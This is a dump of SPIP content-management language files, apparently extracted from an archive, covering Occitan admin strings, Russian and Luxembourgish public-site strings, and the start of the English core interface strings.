'texte_date_publication_article' => 'DATA DE PUBLICACION EN LINHA :',
'texte_descriptif_petition' => 'Descriptiu de la peticion',
'texte_descriptif_rapide' => 'Descriptiu rapid',
'texte_effacer_base' => 'Esfaçar la basa de donadas SPIP',
'texte_effacer_donnees_indexation' => 'Esfaçar las donadas d’indexacion',
'texte_en_cours_validation' => 'Se prepausa de publicar los articles e brèvas çai sos. Esitetz pas per donar vòstre vejaire gràcias aus forums que lai son estachats.', # MODIF
'texte_enrichir_mise_a_jour' => 'Podètz enrichir la compaginacion de vòstre tèxt en utilizar de "’corchas tipograficas".',
'texte_fichier_authent' => '<b>Deu crear, SPIP, de fichèirs especiaus <tt>.htpasswd</tt>
e <tt>.htpasswd-admin</tt> dins lo repertòri @dossier@ ?</b><p>
Aqueles fichèirs vos pòdon servir per restrénher l’accès aus autors
e administrators endacòm mai dins vòstre sit
(programa extèrne d’estadisticas, per exemple).<p>
Se vos servís pas, podètz laissar aquesta opcion
a sa valor predefinida (ges de creacion
daus fichèirs).', # MODIF
'texte_informations_personnelles_1' => 'Ara lo sistèma vos creará un accès personalizat au sit.',
'texte_informations_personnelles_2' => '(Nòta: se s’agís d’una reïnstallacion, e se vòstre accès fonciona encara, podètz', # MODIF
'texte_introductif_article' => '(Tèxt introductiu de l’article.)',
'texte_jeu_caractere' => 'Aquesta opcion z-es utila se vòstre sit deu afichar d’alfabets
diferents de l’alfabet latin (o "occidentau") e sos derivats.
En aquel cas, vau mai chamjar lo reglatge predefinit per
un jòc de caractèrs apropriat. ’Ma que siá vos conselham de far d’assais
per fin de trobar una solucion satisfasenta. Se modificatz aquel paramètre, oblidetz pas nimai d’adaptar
lo sit public en consequéncia (balisa <tt>#CHARSET</tt>).',
'texte_jeu_caractere_2' => 'Aqueste reglatge a gran d’efèit retroactiu. Adoncas
los tèxts ja sasits se pòdon afichar
d’una manèira incorrècta après que s’aja modificat lo reglatge. Siá que siá
poiretz tornar sens damatge au reglatge precedent.',
'texte_lien_hypertexte' => '(Se vòstre messatge se referís a un article publicat sus lo web, o a una pagina fornissent mai d’informacions, volhatz indicar çai sos lo títol de la pagina e son adreiça URL.)',
'texte_login_ldap_1' => '(Laissar voide per un accès anonim, o picar lo chamin complet, per exemple «<tt>uid=fabre, ou=usancèirs, dc=mon-domeni, dc=com</tt>».)',
'texte_login_precaution' => 'Atencion! Quo es lo login amb lo quau sètz ara connectat/ada.
Utilizatz aqueste formulari amb precaucion...',
'texte_message_edit' => 'Atencion: aqueste messatge, chasque redactor lo pòt veire, e chasque administrator dau sit lo pòt modificar. Utilizatz los anoncis mas per expausar d’eveniments importants de la vida dau sit.',
'texte_mise_a_niveau_base_1' => 'Venètz d’actualizar los fichèirs SPIP.
Ara chau metre a nivèl la basa de donadas
dau sit.',
'texte_modifier_article' => 'Modificar l’article:',
'texte_moteur_recherche_active' => '<b>Lo cerchador es activat.</b> Utilizatz aquesta commanda
se volètz tornar indexar la basa rapidament (après restauracion
d’una sauvagarda per exemple). Notatz que los documents modificats de
manèira normala (a partir de l’interfàcia SPIP) se tornan indexar
automaticament: donc aquesta comanda es utila solament de manèira excepcionala.',
'texte_moteur_recherche_non_active' => 'Lo cerchador es pas activat.',
'texte_multilinguisme' => 'Se desiratz de gerir d’articles en mai que d’una lenga, amb una navigacion complèxa, podètz apondre un menut per chausir la lenga daus articles e/o de las rubricas, en foncion de l’organizacion de vòstre sit.', # MODIF
'texte_multilinguisme_trad' => 'Podètz maitot activar un sistèma de gestion daus liams entre las diferentas reviradas d’un article.', # MODIF
'texte_non_compresse' => '<i>non comprimit</i> (pr’amor que vòstre servidor supòrta pas aquela foncionalitat)',
'texte_nouveau_message' => 'Messatge nuòu',
'texte_nouvelle_version_spip_1' => 'Avètz installada una version novèla d’SPIP.',
'texte_nouvelle_version_spip_2' => 'Aquesta version novèla demanda una actualizacion mai completa que de costuma. Se sètz webmèstre/webmèstra dau sit, volhatz esfaçar lo fichèir <tt>inc_connect.php3</tt> dau repertòri <tt>ecrire</tt> e tornar prene l’installacion a fin d’actualizar vòstres paramètres de connexion a la basa de donadas.<p> (NB: s’avètz eissubliat vòstres paramètres de connexion, agaitatz lo fichèir <tt>inc_connect.php3</tt> avans de lo suprimir...)</p>', # MODIF
'texte_operation_echec' => 'Tornatz a la pagina precedenta, chausissètz una autra basa o creatz-ne’n una novèla. Verificatz las informacions que vòstre auberjador a fornidas.',
'texte_plus_trois_car' => 'mai de 3 caractèrs',
'texte_plusieurs_articles' => 'Mai d’un autor trobat per "@cherche_auteur@":',
'texte_port_annuaire' => '(La valor indicada coma predefinida conven en generau.)',
'texte_proposer_publication' => 'Quand auretz ’chabat vòstre article,<br /> poiretz prepausar que siá publicat.',
'texte_proxy' => 'Dins quauques cas (intranet, rets protegidas...),
se pòt que chalha utilizar un <i>proxy HTTP</i> per aténher los sits sindicats.
En aquel cas, marcatz çai sos son adreiça, sos la forma
<tt><html>http://proxy:8080</html></tt>. En generau,
laissaretz voida aquela casa.',
'texte_publication_articles_post_dates' => 'Cossí SPIP se deu comportar fàcia aus articles que lor
data de publicacion z-es fixada a una
eschaiença futura?',
'texte_rappel_selection_champs' => '[Oblidetz pas de seleccionar aquel champ corrèctament.]',
'texte_recalcul_page' => 'Se volètz
tornar calcular mas una pagina, passatz puslèu per l’espaci public e utilizatz lo boton "tornar calcular".',
'texte_recapitiule_liste_documents' => 'Aquesta pagina recapitula la tèira daus documents qu’avètz plaçats dins las rubricas. Per modificar las informacions de chasque document, seguètz lo liam vèrs la pagina de sa rubrica.',
'texte_recuperer_base' => 'Reparar la basa de donadas',
'texte_reference_mais_redirige' => 'article referenciat dins vòstre sit SPIP, mas redirigit vèrs una autra URL.',
'texte_requetes_echouent' => '<b>Quand quauques requistas SQL patracan
sistematicament e sens rason aparenta, se pòt
qu’aquò venha be ben de la basa de donadas. </b><p>
SQL ten la facultat de reparar sas
taulas quand un accident las
a escharvalhadas. Aicí podètz assajar aquela reparacion;
s’abotís pas, servatz una còpia de l’afichatge, que conten
benlèu d’indicis de çò que vai pas...<p>
Se lo problèma persistís, contactatz vòstre
auberjador.<p>', # MODIF
'texte_selection_langue_principale' => 'Podètz seleccionar çai sos la "lenga principala" dau sit. Aquela chausida vos obliga pas -per fortuna- d’escriure vòstres articles dins la lenga seleccionada, mas permet de determinar:
<ul><li> lo format predefinit de las datas sobre lo sit public;</li>
<li> la natura dau motor tipografic que SPIP deu utilizar per lo rendut daus tèxts;</li>
<li> la lenga utilizada dins los formularis dau sit public;</li>
<li> la lenga presentada coma predefinida dins l’espaci privat.</li></ul>',
'texte_sous_titre' => 'Sostítol',
'texte_statistiques_visites' => '(barras escuras: dimenge / corba escura: evolucion de la mejana)',
'texte_statut_attente_validation' => 'en apèita de validacion',
'texte_statut_publies' => 'publicats en linha',
'texte_statut_refuses' => 'refusats',
'texte_suppression_fichiers' => 'Utilizatz aquela comanda per suprimir totes los fichèirs que se tròban
dins l’escondedor SPIP. Aquò permet per exemple de forçar un calcul nuòu de totas las paginas
s’avètz bravament modificat lo grafisme o l’estructura dau sit.',
'texte_sur_titre' => 'Sobretítol',
'texte_table_ok' => ': aquesta taula z-es condreita.',
'texte_tables_indexation_vides' => 'Las taulas d’indexacion dau motor son voidas.',
'texte_tentative_recuperation' => 'Assai de reparacion',
'texte_tenter_reparation' => 'Assajar de reparar la basa de donadas',
'texte_test_proxy' => 'Per assajar aquel proxy, indicatz aicí l’adreiça d’un sit web
que lo voudriatz esprovar.',
'texte_titre_02' => 'Títol:',
'texte_titre_obligatoire' => '<b>Títol</b> [Obligatòri]',
'texte_travail_article' => '@nom_auteur_modif@ a trabalhat sus aquel article quò fai @date_diff@ minutas',
'texte_travail_collaboratif' => 'Quand z-es frequent que mai d’un redactor
trabalhe sobre lo mesme article, lo sistèma
pòt afichar los articles recentament "badats"
a fin d’evitar las modificacions simultanèas.
Aquela opcion z-es desactivada de manèira predefinida
a fin d’evitar d’afichar de messatges d’avertiment
intempestius.',
'texte_trop_resultats_auteurs' => 'Tròp de resultats per "@cherche_auteur@" ; volhatz afinar la cèrcha.',
'texte_unpack' => 'telecharjament de la darrèira version',
'texte_utilisation_moteur_syndiques' => 'Quand utilizatz lo cerchador integrat
a SPIP, podètz far las cèrchas sus los sits e
articles sindicats de doas manèiras
diferentas. <br /><img src=\'puce.gif\' /> Lo mai
simple consistís a cerchar solament dins los
títols e descriptius daus articles. <br /><img src=\'puce.gif\' />
La segonda manèira, plan mai potenta, permet
a SPIP de cerchar maitot dins lo tèxt daus
sits referenciats.
Se referenciatz un sit, aladonc SPIP fará la
cèrcha dins lo tèxt dau quite sit.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Aquel metòde obliga SPIP de vesitar
regularament los sits referenciats,
aquò pòt alentir un pauc vòstre quite
sit.',
'texte_vide' => 'voide',
'texte_vider_cache' => 'Voidar l’escondedor',
'titre_admin_effacer' => 'Mantenença tecnica',
'titre_admin_tech' => 'Mantenença tecnica',
'titre_admin_vider' => 'Mantenença tecnica',
'titre_cadre_afficher_article' => 'Afichar los articles',
'titre_cadre_afficher_traductions' => 'Afichar l’estat de las reviradas per las lengas seguentas:',
'titre_cadre_ajouter_auteur' => 'APONDRE UN AUTOR:',
'titre_cadre_interieur_rubrique' => 'Endins la rubrica',
'titre_cadre_numero_auteur' => 'AUTOR NUMÈRO',
'titre_cadre_signature_obligatoire' => '<b>Signatura</b> [Obligatòria]<br />',
'titre_config_fonctions' => 'Configuracion dau sit',
'titre_configuration' => 'Configuracion dau sit',
'titre_connexion_ldap' => 'Opcions: <b>Vòstra connexion LDAP</b>',
'titre_groupe_mots' => 'GROP DE MOTS:',
'titre_langue_article' => 'LENGA DE L’ARTICLE', # MODIF
'titre_langue_rubrique' => 'LENGA DE LA RUBRICA', # MODIF
'titre_langue_trad_article' => 'LENGA E REVIRADAS DE L’ARTICLE',
'titre_les_articles' => 'LOS ARTICLES',
'titre_naviguer_dans_le_site' => 'Navigar per lo sit...',
'titre_nouvelle_rubrique' => 'Rubrica novèla',
'titre_numero_rubrique' => 'RUBRICA NUMÈRO:',
'titre_page_admin_effacer' => 'Mantenença tecnica: esfaçar la basa',
'titre_page_articles_edit' => 'Modificar: @titre@',
'titre_page_articles_page' => 'Los articles',
'titre_page_articles_tous' => 'Tot lo sit',
'titre_page_auteurs' => 'Vesitaires',
'titre_page_calendrier' => 'Chalendèir @nom_mois@ de @annee@',
'titre_page_config_contenu' => 'Configuracion dau sit',
'titre_page_config_fonctions' => 'Configuracion dau sit',
'titre_page_configuration' => 'Configuracion dau sit',
'titre_page_controle_petition' => 'Segut de las peticions',
'titre_page_delete_all' => 'supression totala e irreversibla',
'titre_page_documents_liste' => 'Los documents de las rubricas',
'titre_page_index' => 'Vòstre espaci privat',
'titre_page_message_edit' => 'Redigir un messatge',
'titre_page_messagerie' => 'Vòstra messatjariá',
'titre_page_recherche' => 'Resultats de la cèrcha @recherche@',
'titre_page_statistiques_referers' => 'Estadisticas (liams entrants)',
'titre_page_upgrade' => 'Mesa a nivèl d’SPIP',
'titre_publication_articles_post_dates' => 'Publicacion daus articles pòstdatats',
'titre_referencer_site' => 'Referenciar lo sit:',
'titre_rendez_vous' => 'RENDÈTZ-VOS:',
'titre_reparation' => 'Reparacion',
'titre_suivi_petition' => 'Segut de las peticions',
'trad_article_inexistant' => 'I a gran d’article que pòrte aquel numèro.',
'trad_article_traduction' => 'Totas las versions d’aquel article:',
'trad_deja_traduit' => 'Aquel article ja z-es una revirada de l’article present.',
'trad_delier' => 'Pas mai liar aqueste article a sas reviradas ', # MODIF
'trad_lier' => 'Aqueste article es una revirada de l’article numèro:',
'trad_new' => 'Escriure una revirada novèla d’aqueste article' # MODIF
);
?>
public_ru.php 0000666 00000010754 15252547432 0007265 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Главная',
'article' => 'Статья',
'articles' => 'Статьи',
'articles_auteur' => 'Статьи автора',
'articles_populaires' => 'Самые читаемые статьи',
'articles_rubrique' => 'Статьи в этом разделе',
'aucun_article' => 'Статей нет',
'aucun_auteur' => 'Авторов нет',
'aucun_site' => 'Сайтов нет',
'aucune_breve' => 'Новостей нет',
'aucune_rubrique' => 'Разделов нет',
'auteur' => 'Автор',
'autres' => 'Прочие',
'autres_breves' => 'Другие новости',
'autres_groupes_mots_clefs' => 'Другие группы ключей',
'autres_sites' => 'Другие сайты',
// B
'bonjour' => 'Привет',
// C
'commenter_site' => 'Коментарии к этому сайту',
'contact' => 'Контакты',
'copie_document_impossible' => 'Невозможно скопировать документ',
// D
'date' => 'Дата',
'dernier_ajout' => 'Последнее обновление',
'dernieres_breves' => 'Свежие новости',
'derniers_articles' => 'Новые статьи',
'derniers_commentaires' => 'Новые комментарии',
'derniers_messages_forum' => 'Новые сообщения на форуме',
// E
'edition_mode_texte' => 'Текстовый режим',
'en_reponse' => 'Комментарий к:',
'en_resume' => 'Резюме',
'envoyer_message' => 'Отправить сообщение',
'espace_prive' => 'Административная часть',
// F
'formats_acceptes' => 'Допустимые форматы: @formats@.',
// H
'hierarchie_site' => 'Карта сайта',
// J
'jours' => 'дни',
// L
'lien_connecter' => 'Войти',
// M
'meme_auteur' => 'Этого автора',
'meme_rubrique' => 'Еще в разделе',
'memes_auteurs' => 'Теми же авторами',
'message' => 'Сообщение',
'messages_forum' => 'Сообщения форума',
'messages_recents' => 'Новые сообщения форума',
'mots_clef' => 'Ключ',
'mots_clefs' => 'Ключи',
'mots_clefs_meme_groupe' => 'Ключи из этой группы',
// N
'navigation' => 'Просмотр',
'nom' => 'Имя',
'nouveautes' => 'Что нового',
'nouveautes_web' => 'Что нового в сайтах',
'nouveaux_articles' => 'Новые статьи',
'nouvelles_breves' => 'Свежие новости',
// P
'page_precedente' => 'предыдущая страница',
'page_suivante' => 'следующая страница',
'par_auteur' => ' ',
'participer_site' => 'Вы можете принять активное участие в жизни этого сайта и писать ваши собственные статьи. Все, что надо сделать - зарегистрироваться.',
'plan_site' => 'Карта сайта',
'popularite' => 'Популярность',
'poster_message' => 'Отправить сообщение',
'proposer_site' => 'Вы можете предложить добавить сайт к этому разделу:',
// R
'repondre_article' => 'Оставить комментарий ',
'repondre_breve' => 'Оставить комментарий ',
'resultats_recherche' => 'Результаты поиска',
'retour_debut_forums' => 'Все форумы',
'rubrique' => 'Раздел',
'rubriques' => 'Разделы',
// S
'signatures_petition' => 'Подписи',
'site_realise_avec_spip' => 'Сайт работает на SPIP',
'sites_web' => 'Сайты',
'sous_rubriques' => 'Подразделы',
'spam' => 'Спам',
'suite' => 'далее',
'sur_web' => 'В интернете',
'syndiquer_rubrique' => 'RSS этого раздела',
'syndiquer_site' => 'RSS всего сайта',
// T
'texte_lettre_information' => 'Информационный бюллетень сайта',
'texte_lettre_information_2' => 'Материалы на сайте размещаются с',
// V
'ver_imprimer' => 'Версия для печати',
'voir_en_ligne' => 'См. онлайн',
'voir_squelette' => 'Показать шаблон этой страницы'
);
?>
public_lb.php 0000666 00000007671 15252547432 0007240 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Homepage',
'article' => 'Artikel',
'articles' => 'Artikelen',
'articles_auteur' => 'Artikelen vun dësem Auteur',
'articles_populaires' => 'Déi beléifsten Artikelen',
'articles_rubrique' => 'Artikelen aus dëser Rubrik',
'aucun_article' => 'Et gëtt keen Artikel op dëser Adress',
'aucun_auteur' => 'Et gëtt keen Auteur op dëser Adress',
'aucun_site' => 'Et gëtt keen Site op dëser Adress',
'aucune_breve' => 'Et gëtt keng Kuerzmeldung op dëser Adress',
'aucune_rubrique' => 'Et gëtt keng Rubrik op dëser Adress',
'auteur' => 'Auteur',
'autres' => 'Anerer',
'autres_breves' => 'Aner Kuerzmeldungen',
'autres_groupes_mots_clefs' => 'Aner Schlësselwierder-Gruppen',
'autres_sites' => 'Aner Siten',
// B
'bonjour' => 'Bonjour',
// C
'commenter_site' => 'Dësen Site kommentéieren',
'contact' => 'Kontakt',
'copie_document_impossible' => 'Onméiglech dat Dokument ze kopéieren',
// D
'date' => 'Datum',
'dernier_ajout' => 'Läscht Ännerung',
'dernieres_breves' => 'Läscht Kuerzmeldungen',
'derniers_articles' => 'Läscht Artikelen',
'derniers_commentaires' => 'Läscht Kommentaren',
'derniers_messages_forum' => 'Läscht Messagen aus de Forumen',
// E
'edition_mode_texte' => 'Ännerung am Text-Modus vun',
'en_reponse' => 'Als Äntwert un:',
'en_resume' => 'An der Zesummefaassung',
'envoyer_message' => 'E Message schécken',
'espace_prive' => 'Privaten Deel',
// F
'formats_acceptes' => 'Akzeptéiert Formater: @formats@.',
// H
'hierarchie_site' => 'Struktur vum Site',
// J
'jours' => 'Deg',
// L
'lien_connecter' => 'Verbannen',
// M
'meme_auteur' => 'Vum selwechten Auteur',
'meme_rubrique' => 'An der selwechter Rubrik',
'memes_auteurs' => 'Vun de selwechten Auteuren',
'message' => 'Message',
'messages_forum' => 'Messagen',
'messages_recents' => 'Läscht Messagen aus de Forumen',
'mots_clef' => 'Schlësselwuert',
'mots_clefs' => 'Schlësselwierder',
'mots_clefs_meme_groupe' => 'Schlësselwierder aus dem selwechte Grupp',
// N
'navigation' => 'Navigatioun',
'nom' => 'Numm',
'nouveautes' => 'Neiegkeeten',
'nouveautes_web' => 'Internet-Neiegkeeten',
'nouveaux_articles' => 'Nei Artikelen',
'nouvelles_breves' => 'Nei Kuerzmeldungen',
// P
'page_precedente' => 'läscht Säit',
'page_suivante' => 'nächst Säit',
'par_auteur' => 'vum',
'participer_site' => 'Dir kënnt un dësem Site matschaffen an är Artikelen proposéieren andeem der Iech hei aschreift. Dir kritt direkt en Email mat ärem Login fir de privaten Deel vum Site.',
'plan_site' => 'Plang vum Site',
'popularite' => 'Popularitéit',
'poster_message' => 'E Message schécken',
'proposer_site' => 'Dir kënnt e Site fir dës Rubrik uginn:',
// R
'repondre_article' => 'Op dësen Artikel äntweren',
'repondre_breve' => 'Op dës Kuerzmeldung äntweren',
'resultats_recherche' => 'Resultater vun der Sich',
'retour_debut_forums' => 'Zeréck op den Ufank vun de Forumen',
'rubrique' => 'Rubrik',
'rubriques' => 'Rubriken',
// S
'signatures_petition' => 'Ënnerschrëften',
'site_realise_avec_spip' => 'Dëse Site ass mat SPIP realiséiert',
'sites_web' => 'Internet-Siten',
'sous_rubriques' => 'Ënner-Rubriken',
'spam' => 'Spam',
'suite' => 'weider',
'sur_web' => 'Um Internet',
'syndiquer_rubrique' => 'Dës Rubrik syndikaliséieren',
'syndiquer_site' => 'De ganze Site syndikaliséieren',
// T
'texte_lettre_information' => 'Hei ass d’Newsletter vum Site',
'texte_lettre_information_2' => 'Dës Newsletter ass d’Lëscht vun de verëffentlechten Ännerungen zënter',
// V
'ver_imprimer' => 'Drock-Versioun',
'voir_en_ligne' => 'Online gesinn',
'voir_squelette' => 'd’Skelett vun dëser Säit weisen'
);
?>
spip_en.php 0000666 00000106375 15252547432 0006743 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'English [en]',
'0_liste' => 'spip-en@rezo.net',
'0_mainteneur' => 'George Kandalaft (khodr1957@gmail.com)',
// A
'access_interface_graphique' => 'Back to the full graphic interface',
'access_mode_texte' => 'Show the simplified text interface',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Modify this article',
'admin_modifier_auteur' => 'Modify this author',
'admin_modifier_breve' => 'Modify this news item',
'admin_modifier_mot' => 'Modify this keyword',
'admin_modifier_rubrique' => 'Modify this section',
'admin_recalculer' => 'Re-process this page',
'afficher_calendrier' => 'Show the calendar',
'afficher_trad' => 'show translations',
'alerte_maj_impossible' => '<b>Warning!</b> Failed to update the SQL database to version @version@. This may be due to a permissions problem on the database. Please contact your ISP.',
'alerte_modif_info_concourante' => 'WARNING: This information has been modified elsewhere. The current value is :',
'analyse_xml' => 'XML parsing',
'annuler' => 'Cancel',
'antispam_champ_vide' => 'Please leave this field empty:',
'articles_recents' => 'Most recent articles',
'avis_archive_incorrect' => 'archive is not a valid SPIP file',
'avis_archive_invalide' => 'archive file is not valid',
'avis_attention' => 'CAUTION!',
'avis_champ_incorrect_type_objet' => 'Invalid field name @name@ for object of type @type@',
'avis_colonne_inexistante' => 'Column @col@ does not exist',
'avis_erreur' => 'Error: see below',
'avis_erreur_connexion' => 'Connection error',
'avis_erreur_cookie' => 'cookie problem',
'avis_erreur_fonction_contexte' => 'Programming error. This function cannot be called in this context.',
'avis_erreur_mysql' => 'SQL error',
'avis_erreur_sauvegarde' => 'Error in backup (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'Problem entering the private area',
// B
'barre_a_accent_grave' => 'Insert a capital A with grave accent',
'barre_aide' => 'Use the typographic short cuts to refine your layout',
'barre_e_accent_aigu' => 'Insert a capital E with acute accent',
'barre_eo' => 'Insert an oe-ligature',
'barre_eo_maj' => 'Insert a capital EO-ligature',
'barre_euro' => 'Insert a € symbol',
'barre_gras' => 'Put in {{bold type}}',
'barre_guillemets' => 'Place between "double quotes"',
'barre_guillemets_simples' => 'Place between ‘single quotes’',
'barre_intertitre' => 'Turn into a {{{subheading}}}',
'barre_italic' => 'Put in {italics}',
'barre_lien' => 'Turn into a [hyperlink->http://...]',
'barre_lien_input' => 'Please enter the link address. You may use either an external URL (http://www.mysite.com) or reference another article on this site by simplying entering its number.',
'barre_note' => 'Turn into a [[Footnote]]',
'barre_paragraphe' => 'Create a paragraph',
'barre_quote' => '<quote>Quote a message</quote>',
'bouton_changer' => 'Change',
'bouton_chercher' => 'Search',
'bouton_choisir' => 'Select',
'bouton_deplacer' => 'Move',
'bouton_download' => 'Download',
'bouton_enregistrer' => 'Save',
'bouton_radio_desactiver_messagerie_interne' => 'Disable internal messaging',
'bouton_radio_envoi_annonces' => 'Send editorial announcements',
'bouton_radio_non_envoi_annonces' => 'Do not send any announcements',
'bouton_radio_non_envoi_liste_nouveautes' => 'Do not send latest news list',
'bouton_recharger_page' => 'reload this page',
'bouton_telecharger' => 'Upload',
'bouton_upload' => 'Upload',
'bouton_valider' => 'Submit',
// C
'cal_apresmidi' => 'afternoon (p.m.)',
'cal_jour_entier' => 'entire day',
'cal_matin' => 'morning (a.m.)',
'cal_par_jour' => 'daily calendar',
'cal_par_mois' => 'monthly calendar',
'cal_par_semaine' => 'weekly calendar',
'choix_couleur_interface' => 'colour',
'choix_interface' => 'choice of interface',
'colonne' => 'Column',
'confirm_changer_statut' => 'Warning: You are about to change this article’s status. Do you wish to continue?',
'correcte' => 'correct',
// D
'date_aujourdhui' => 'today',
'date_avant_jc' => 'B.C.',
'date_dans' => 'in @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'tomorrow',
'date_fmt_heures_minutes' => '@h@:@m@',
'date_fmt_heures_minutes_court' => '@h@:@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
'date_fmt_jour_heure' => '@jour@ at @heure@',
'date_fmt_jour_heure_debut_fin' => '@jour@ from @heure_debut@ to @heure_fin@',
'date_fmt_jour_heure_debut_fin_abbr' => '@dtstart@@jour@ from @heure_debut@@dtabbr@ to @dtstart@@heure_fin@@dtend@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => 'on @nomjour@ @date@',
'date_fmt_periode' => 'From @date_debut@ to @date_fin@',
'date_fmt_periode_abbr' => 'From @dtart@@date_debut@@dtabbr@ to @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'From',
'date_fmt_periode_to' => 'to',
'date_heures' => 'hours',
'date_hier' => 'yesterday',
'date_il_y_a' => '@delai@ ago',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'Sunday',
'date_jour_1_abbr' => 'Sun.',
'date_jour_1_initiale' => 'S.',
'date_jour_2' => 'Monday',
'date_jour_2_abbr' => 'Mon.',
'date_jour_2_initiale' => 'M.',
'date_jour_3' => 'Tuesday',
'date_jour_3_abbr' => 'Tue.',
'date_jour_3_initiale' => 'T.',
'date_jour_4' => 'Wednesday',
'date_jour_4_abbr' => 'Wed.',
'date_jour_4_initiale' => 'W.',
'date_jour_5' => 'Thursday',
'date_jour_5_abbr' => 'Thu.',
'date_jour_5_initiale' => 'T.',
'date_jour_6' => 'Friday',
'date_jour_6_abbr' => 'Fri.',
'date_jour_6_initiale' => 'F.',
'date_jour_7' => 'Saturday',
'date_jour_7_abbr' => 'Sat.',
'date_jour_7_initiale' => 'S.',
'date_jours' => 'days',
'date_minutes' => 'minutes',
'date_mois' => 'months',
'date_mois_1' => 'January',
'date_mois_10' => 'October',
'date_mois_10_abbr' => 'Oct',
'date_mois_11' => 'November',
'date_mois_11_abbr' => 'Nov',
'date_mois_12' => 'December',
'date_mois_12_abbr' => 'Dec',
'date_mois_1_abbr' => 'Jan',
'date_mois_2' => 'February',
'date_mois_2_abbr' => 'Feb',
'date_mois_3' => 'March',
'date_mois_3_abbr' => 'Mar',
'date_mois_4' => 'April',
'date_mois_4_abbr' => 'Apr',
'date_mois_5' => 'May',
'date_mois_5_abbr' => 'May',
'date_mois_6' => 'June',
'date_mois_6_abbr' => 'Jun',
'date_mois_7' => 'July',
'date_mois_7_abbr' => 'Jul',
'date_mois_8' => 'August',
'date_mois_8_abbr' => 'Aug',
'date_mois_9' => 'September',
'date_mois_9_abbr' => 'Sep',
'date_saison_1' => 'winter',
'date_saison_2' => 'spring',
'date_saison_3' => 'summer',
'date_saison_4' => 'autumn',
'date_secondes' => 'seconds',
'date_semaines' => 'weeks',
'date_un_mois' => 'month',
'date_une_heure' => 'hour',
'date_une_minute' => 'minute',
'date_une_seconde' => 'second',
'date_une_semaine' => 'week',
'dirs_commencer' => ' in order to start installation for real',
'dirs_preliminaire' => 'Preliminary: <b>Setting up access permissions</b>',
'dirs_probleme_droits' => 'Problem with access permissions',
'dirs_repertoires_absents' => '<p><b>The following directories were not found: </b></p><ul>@bad_dirs@.</ul>
<p>It is possible that this is due to inappropriate lower or upper case letters in directory names.
Please check that the case of the letters in the names of these directories match what is displayed
above. If they don’t, correct the directory names using your FTP client.</p>
<p>Once this is done, you can',
'dirs_repertoires_suivants' => '<p><b>The following directories do not have write permission: </b></p><ul>@bad_dirs@</ul>
<p>To change this, use your FTP client to set access permissions for each
of these directories. The procedure is detailed in the installation guide.</p>
<p>Once you have done this, you can ',
'double_occurrence' => 'Two instances of @balise@',
// E
'en_cours' => 'processing',
'envoi_via_le_site' => 'Sent via the site',
'erreur' => 'Error',
'erreur_balise_non_fermee' => 'last tag not closed:',
'erreur_technique_ajaxform' => 'Ooops. An unexpected error prevented to submit the form. You can try again.',
'erreur_technique_enregistrement_champs' => 'A technical error prevented the right registration of the field @champs@.',
'erreur_technique_enregistrement_impossible' => 'A technical error prevented the registration.',
'erreur_texte' => 'error(s)',
'etape' => 'Step',
// F
'fichier_introuvable' => 'File not found: @fichier@',
'form_auteur_confirmation' => 'Please confirm your email address',
'form_auteur_email_modifie' => 'Your email address has been changed.',
'form_auteur_envoi_mail_confirmation' => 'A confirmation email has been sent to @email@. You must visit the URL mentioned in the message to validate your email address.',
'form_auteur_mail_confirmation' => 'Hello,
You have asked to change your email address.
To confirm your new address, you need to connect to
the address below. (Otherwise your request will be ignored.):
@url@
',
'form_deja_inscrit' => 'You are already registered.',
'form_email_non_valide' => 'Your email address is not valid.',
'form_forum_access_refuse' => 'You no longer have access to this site.',
'form_forum_bonjour' => 'Hello @nom@,',
'form_forum_confirmer_email' => 'To confirm your email address, follow this link: @url_confirm@',
